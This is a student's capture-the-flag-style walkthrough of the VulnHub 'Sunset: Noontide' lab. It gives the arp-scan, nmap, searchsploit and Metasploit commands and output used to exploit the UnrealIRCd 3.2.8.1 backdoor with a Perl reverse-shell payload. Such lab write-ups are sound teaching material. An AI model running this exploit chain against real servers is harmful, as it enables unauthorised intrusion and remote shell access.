Noontide Walkthrough

Introduction:

This lab was performed in a local environment and was given as lab work in college. You can get the machine from the link here.

"Sunset: Noontide" from VulnHub is designed to simulate real-world vulnerabilities and serves as a great practice target for ethical hackers and security professionals. The target machine was identified using `arp-scan`, providing the following details:

IP Address: `10.0.2.8`
Mac Address: `08:00:27:34:66:a9`

```
┌──(user㉿kali)-[~]
└─$ sudo arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:a2:a7:24, IPv4: 10.0.2.4
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.2.1        52:54:00:12:35:00       (Unknown: locally administered)
10.0.2.2        52:54:00:12:35:00       (Unknown: locally administered)
10.0.2.3        08:00:27:57:3b:84       (Unknown)
10.0.2.8        08:00:27:34:66:a9       (Unknown)

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.863 seconds (137.41 hosts/sec). 4 responded
```

Then the machine was scanned using nmap, and got to know more about the open ports and their services.

`nmap -sV -p- <Target IP>`

```
┌──(user㉿kali)-[~]
└─$ nmap -sV -p- 10.0.2.8
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-28 13:06 +0545
Nmap scan report for 10.0.2.8
Host is up (0.00098s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
6667/tcp open  irc     UnrealIRCd
6697/tcp open  irc     UnrealIRCd
8067/tcp open  irc     UnrealIRCd
MAC Address: 08:00:27:34:66:A9 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host: irc.foonet.com

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.31 seconds
```

Then found out that there were 3 tcp ports open, all were running the same service and versions.
Open Ports: `6667`, `6697`, `8067`
Service: `irc`
Version: `UnrealIRCD`

Then searched for possible exploits that are out, so that they could be exploited.

`searchsploit <service-version>`

```
┌──(user㉿kali)-[~]
└─$ searchsploit UnrealIRCD
---------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                |  Path
---------------------------------------------------------------------------------------------- ---------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)                                  | linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow                                       | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute                                                | linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service                                                     | windows/dos/27407.pl
---------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```

Found a Backdoor Command Execution with the path `linux/remote/16922.rb`

Then started the Metasploit Framework (Msfconsole):

`msfconsole`

```
┌──(user㉿kali)-[~]
└─$ msfconsole
Metasploit tip: View all productivity tips with the tips command

Call trans opt: received. 2-19-98 13:24:18 REC:Loc

     Trace program: running

          wake up, Neo...
       the matrix has you
      follow the white rabbit.

         knock, knock, Neo.

                    (`.         ,-,
                     `  `    ,;' /
                      `   ,'/  ;'
                        `. X /.'
              .-;__ ''__ .. _   ` ` (
            .'            /   `
           ,              ` '    Q '
           ,'                `-  \
         ,.|                 '`-.;_'
         :  .  `  ;      `  ` --,..__;
          ' `    ,   )   .'
             `._ ,  '   /_
                ; ,''-,;' ``-
                 ``-..__``--`

                          https://metasploit.com
```

Then I searched for UnrealIRCD, then found a module. It was disclosed in the year 2010.

`search <possible-module>`

```
msf6 > search UnrealIRCD

Matching Modules
================

   #  Name                                       Disclosure Date  Rank       Check  Description
   -  ----                                       ---------------  ----       -----  -----------
   0  exploit/unix/irc/unreal_ircd_3281_backdoor  2010-06-12       excellent  No     UnrealIRCD 3.2.8.1 Backdoor Co
mmand Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/irc/unreal_ircd_3281_backdoo
r
```

Then, I used it and looked for the possible options to input.

```
use 0
options
```

```
msf6 > use 0
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/
                                       basics/using-metasploit.html
   RPORT    6667             yes       The target port (TCP)

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

View the full module info with the info, or info -d command
```

Then, I saw there was a RHOSTS needed. On its description, “The target host(s)” was written. So, I added the RHOSTS to be the machine’s IP address.

```
set rhosts <machine_IP>
```

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rhosts 10.0.2.8
rhosts => 10.0.2.8
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS   10.0.2.8         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/
                                       basics/using-metasploit.html
   RPORT    6667             yes       The target port (TCP)

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target
```

As the post was already set, nothing else needed to be changed. Then, I looked for the payload to be inserted.

```
show payloads
```

Then there were 12 possible payloads.

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads

Compatible Payloads
===================

   #   Name                                          Disclosure Date  Rank    Check  Description
   -   ----                                          ---------------  ----    -----  -----------
   0   payload/cmd/unix/adduser                      .                normal  No     Add user with useradd
   1   payload/cmd/unix/bind_perl                    .                normal  No     Unix Command Shell, Bind TCP (vi
a Perl)
   2   payload/cmd/unix/bind_perl_ipv6               .                normal  No     Unix Command Shell, Bind TCP (vi
a perl) IPv6
   3   payload/cmd/unix/bind_ruby                    .                normal  No     Unix Command Shell, Bind TCP (vi
a Ruby)
   4   payload/cmd/unix/bind_ruby_ipv6               .                normal  No     Unix Command Shell, Bind TCP (vi
a Ruby) IPv6
   5   payload/cmd/unix/generic                      .                normal  No     Unix Command, Generic Command Ex
ecution
   6   payload/cmd/unix/reverse                      .                normal  No     Unix Command Shell, Double Rever
se TCP (telnet)
   7   payload/cmd/unix/reverse_bash_telnet_ssl      .                normal  No     Unix Command Shell, Reverse TCP
SSL (telnet)
   8   payload/cmd/unix/reverse_perl                 .                normal  No     Unix Command Shell, Reverse TCP
(via Perl)
   9   payload/cmd/unix/reverse_perl_ssl             .                normal  No     Unix Command Shell, Reverse TCP
SSL (via perl)
   10  payload/cmd/unix/reverse_ruby                 .                normal  No     Unix Command Shell, Reverse TCP
(via Ruby)
   11  payload/cmd/unix/reverse_ruby_ssl             .                normal  No     Unix Command Shell, Reverse TCP
SSL (via Ruby)
   12  payload/cmd/unix/reverse_ssl_double_telnet    .                normal  No     Unix Command Shell, Double Rever
```

I tried using payload 6 "`payload/cmd/unix/reverse`" but it didn't work. Then, I tried payload 8 "`payload/cmd/unix/reverse_perl`". I looked at the options to see if there's anything else to set.

```
set payload <payload_no>
options
```

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload 8
payload => cmd/unix/reverse_perl
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   CHOST                    no        The local client address
   CPORT                    no        The local client port
   Proxies                  no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS  10.0.2.8         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/
                                      basics/using-metasploit.html
   RPORT   6667             yes       The target port (TCP)

Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target
```

Then, I set the LHOST to my Kali's IP as it is the host that listens to exploits.

`set lhost <Kali_IP>`

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lhost 10.0.2.4
lhost => 10.0.2.4
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > options
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   10.0.2.8         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/
                                       basics/using-metasploit.html
   RPORT    6667             yes       The target port (TCP)

Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.4         yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
```

Then, I looked at the options again to confirm if anything else is missing. After confirmation that nothing else was to be set, I tried exploiting. It could be performed using the command "exploit" or "run". Then, finally the session has opened. A a backdoor access was successful.

`exploit / run`

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[*] Started reverse TCP handler on 10.0.2.4:4444
[*] 10.0.2.8:6667 - Connected to 10.0.2.8:6667...
    :irc.foonet.com NOTICE AUTH :*** Looking up your hostname...
    :irc.foonet.com NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] 10.0.2.8:6667 - Sending backdoor command...
[*] Command shell session 1 opened (10.0.2.4:4444 -> 10.0.2.8:36000) at 2025-06-28 13:26:40 +0545
```

Then, I did ip a to confirm that the machine was accessed. It showed the IP of the machine and the backdoor achievement was successful.

`ip a`

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
[*] Started reverse TCP handler on 10.0.2.4:4444
[*] 10.0.2.8:6667 - Connected to 10.0.2.8:6667...
    :irc.foonet.com NOTICE AUTH :*** Looking up your hostname...
    :irc.foonet.com NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] 10.0.2.8:6667 - Sending backdoor command...
[*] Command shell session 1 opened (10.0.2.4:4444 -> 10.0.2.8:36000) at 2025-06-28 13:26:40 +0545

ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:34:66:a9 brd ff:ff:ff:ff:ff:ff
    inet 10.0.2.8/24 brd 10.0.2.255 scope global dynamic enp0s3
       valid_lft 585sec preferred_lft 585sec
    inet6 fe80::a00:27ff:fe34:66a9/64 scope link
       valid_lft forever preferred_lft forever
```

Summary

In this lab, we exploited a well-known backdoor in `UnrealIRCd 3.2.8.1`, gaining remote shell access. The vulnerability was a hardcoded command execution backdoor disclosed in 2010. This emphasizes the importance of keeping software up to date and monitoring known CVEs.

Tools Used

Tool	Purpose	Usage in This Walkthrough
arp-scan	Network discovery	Used to identify the IP and MAC address of the target machine on the local network.
nmap	Port scanning & service enumeration	Performed a full TCP port scan to discover open ports and detect services (UnrealIRCd) running on the target.
searchsploit	Exploit database lookup (local copy of Exploit-DB)	Used to find known vulnerabilities and exploits related to the detected UnrealIRCd version.
Metasploit Framework (msfconsole)	Exploitation framework	Utilized to load and execute an UnrealIRCd exploit module, configure payloads, and establish a reverse shell.

Exploits Used

Exploit name: UnrealIRCd 3.2.8.1 Backdoor Command Execution
Description: A backdoor vulnerability in UnrealIRCd 3.2.8.1, introduced by malicious code in the source distribution. It allows unauthenticated command execution on the server.
Details:
- **Exploit Source:** Exploit-DB ID: 16922
- **CVE ID:** CVE-2010-2075
- **Used via Metasploit Module:** `exploit/unix/irc/unreal_ircd_3281_backdoor`
- **Payload Used:** `cmd/unix/reverse_perl`

This lab demonstrates how even a single overlooked vulnerability — like the backdoor in **UnrealIRCd 3.2.8.1** — can result in complete system compromise. The exercise reinforces the importance of proper service enumeration, vulnerability research, and choosing the right payload during exploitation.

It also highlights a key takeaway for system administrators and security professionals:

> ***Always verify the integrity of downloaded software and keep services patched and updated!***